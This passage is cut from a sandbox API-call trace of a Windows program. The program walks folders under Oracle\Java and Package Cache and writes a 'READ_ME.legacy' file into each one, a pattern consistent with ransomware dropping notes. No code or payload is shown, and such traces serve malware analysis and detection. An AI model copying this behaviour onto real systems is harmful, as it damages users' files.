ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0115.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0115.522] GetLastError () returned 0x0 [0115.522] SetLastError (dwErrCode=0x0) [0115.522] GetLastError () returned 0x0 [0115.522] SetLastError (dwErrCode=0x0) [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0115.522] GetLastError () returned 0x0 [0115.522] SetLastError (dwErrCode=0x0) [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0115.523] GetLastError () returned 0x0 [0115.523] SetLastError (dwErrCode=0x0) [0115.523] GetLastError () returned 0x0 [0115.523] SetLastError (dwErrCode=0x0) [0115.523] GetLastError () returned 0x0 [0115.523] SetLastError (dwErrCode=0x0) [0115.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.523] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0115.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.525] WriteFile (in: hFile=0x644, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.526] CloseHandle (hObject=0x644) returned 1 [0115.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0115.526] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0115.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0115.526] GetLastError () returned 0x0 [0115.527] SetLastError (dwErrCode=0x0) [0115.527] GetLastError () returned 0x0 [0115.527] SetLastError (dwErrCode=0x0) [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0115.527] GetLastError () returned 0x0 [0115.527] SetLastError (dwErrCode=0x0) [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0115.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0115.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0115.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.528] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0115.528] GetLastError () returned 0x0 [0115.528] SetLastError (dwErrCode=0x0) [0115.528] GetLastError () returned 0x0 [0115.528] SetLastError (dwErrCode=0x0) [0115.528] GetLastError () returned 0x0 [0115.528] SetLastError (dwErrCode=0x0) [0115.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.528] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0115.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.530] WriteFile (in: hFile=0x644, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.531] CloseHandle (hObject=0x644) returned 1 [0115.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0115.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.532] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javapath", cAlternateFileName="")) returned 1 [0115.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0115.532] GetLastError () returned 0x0 [0115.532] SetLastError (dwErrCode=0x0) [0115.532] GetLastError () returned 0x0 [0115.532] SetLastError (dwErrCode=0x0) [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0115.532] GetLastError () returned 0x0 [0115.532] SetLastError (dwErrCode=0x0) [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0115.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0115.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0115.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0115.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0115.533] GetLastError () returned 0x0 [0115.533] SetLastError (dwErrCode=0x0) [0115.533] GetLastError () returned 0x0 [0115.533] SetLastError (dwErrCode=0x0) [0115.533] GetLastError () returned 0x0 [0115.533] SetLastError (dwErrCode=0x0) [0115.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0115.533] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0115.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0115.534] WriteFile (in: hFile=0x644, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.535] CloseHandle (hObject=0x644) returned 1 [0115.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0115.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0115.535] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0115.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0115.536] GetLastError () returned 0x0 [0115.536] SetLastError (dwErrCode=0x0) [0115.536] GetLastError () returned 0x0 [0115.536] SetLastError (dwErrCode=0x0) [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0115.536] GetLastError () returned 0x0 [0115.536] SetLastError (dwErrCode=0x0) [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0115.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0115.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0115.536] GetLastError () returned 0x0 [0115.536] SetLastError (dwErrCode=0x0) [0115.536] GetLastError () returned 0x0 [0115.537] SetLastError (dwErrCode=0x0) [0115.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.537] GetLastError () returned 0x0 [0115.537] SetLastError (dwErrCode=0x0) [0115.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0115.537] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0115.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0115.538] WriteFile (in: hFile=0x644, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.539] CloseHandle (hObject=0x644) returned 1 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0115.539] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2db0dbf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2db0dbf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0115.539] GetLastError () returned 0xb7 [0115.539] SetLastError (dwErrCode=0xb7) [0115.539] GetLastError () returned 0xb7 [0115.539] SetLastError (dwErrCode=0xb7) [0115.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0115.540] GetLastError () returned 0xb7 [0115.540] SetLastError (dwErrCode=0xb7) [0115.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.540] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2db0dbf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2db0dbf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe) returned 0x5e92e0 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e1d8 | out: hHeap=0x520000) returned 1 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0115.540] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6698 [0115.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0115.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.541] GetLastError () returned 0x12 [0115.541] SetLastError (dwErrCode=0x12) [0115.541] GetLastError () returned 0x12 [0115.541] SetLastError (dwErrCode=0x12) [0115.541] GetLastError () returned 0x12 [0115.541] SetLastError (dwErrCode=0x12) [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6758 [0115.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6758 | out: hHeap=0x520000) returned 1 [0115.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.542] FindNextFileW (in: hFindFile=0x5c6698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0115.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0115.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0115.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.542] GetLastError () returned 0x12 [0115.542] SetLastError (dwErrCode=0x12) [0115.542] GetLastError () returned 0x12 [0115.542] SetLastError (dwErrCode=0x12) [0115.542] GetLastError () returned 0x12 [0115.543] SetLastError (dwErrCode=0x12) [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6018 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6018 | out: hHeap=0x520000) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.543] FindNextFileW (in: hFindFile=0x5c6698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0115.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0115.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0115.544] GetLastError () returned 0x12 [0115.544] SetLastError (dwErrCode=0x12) [0115.544] GetLastError () returned 0x12 [0115.544] SetLastError (dwErrCode=0x12) [0115.544] GetLastError () returned 0x12 [0115.544] SetLastError (dwErrCode=0x12) [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0115.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0115.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0115.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0115.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0115.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.545] GetLastError () returned 0x12 [0115.545] SetLastError (dwErrCode=0x12) [0115.545] GetLastError () returned 0x12 [0115.545] SetLastError (dwErrCode=0x12) [0115.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0115.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0115.546] GetLastError () returned 